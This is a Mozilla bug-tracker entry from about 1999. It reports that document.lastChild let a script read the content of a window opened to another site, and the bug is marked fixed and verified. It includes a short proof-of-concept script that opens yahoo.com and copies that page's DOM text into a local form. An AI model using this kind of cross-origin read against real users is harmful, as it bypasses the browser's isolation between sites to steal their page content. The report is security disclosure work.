Closed
Bug 19044
Opened 25 years ago
Closed 25 years ago
document.lastChild vulnerability
Categories
(Core :: Security, defect, P3)
Tracking
()
VERIFIED
FIXED
People
(Reporter: joro, Assigned: norrisboyd)
References
()
Details
document.lastChild allows access to arbitrary document, which allows at least
reading its content.
This bug is very similar to the document.firstChild bug.
The code is:
-----------------------------------------------------------------
function f(o)
{
var s='';
var i;
s = o.nodeValue;
if ( o.childNodes )
for ( i = 0; i < o.childNodes.length; i++ )
s += f(o.childNodes[i]);
return s;
}
a=window.open("http://www.yahoo.com","victim");
function g()
{
document.forms[0].elements[0].value=f(a.document.lastChild);
}
setTimeout("g()",10000);
---------------------------------------------------
| Assignee | ||
Updated•25 years ago
|
Status: NEW → RESOLVED
Closed: 25 years ago
Resolution: --- → FIXED
| Assignee | ||
Comment 1•25 years ago
|
||
This is fixed with my Friday night checkin of all.js.
Windows NT 1999120208 Comm
Verified
...'[Exception... "Security error"'...
Bulk moving all Browser Security bugs to new Security: General component. The
previous Security component for Browser will be deleted.
Component: Security → Security: General
You need to log in
before you can comment on or make changes to this bug.
Description
•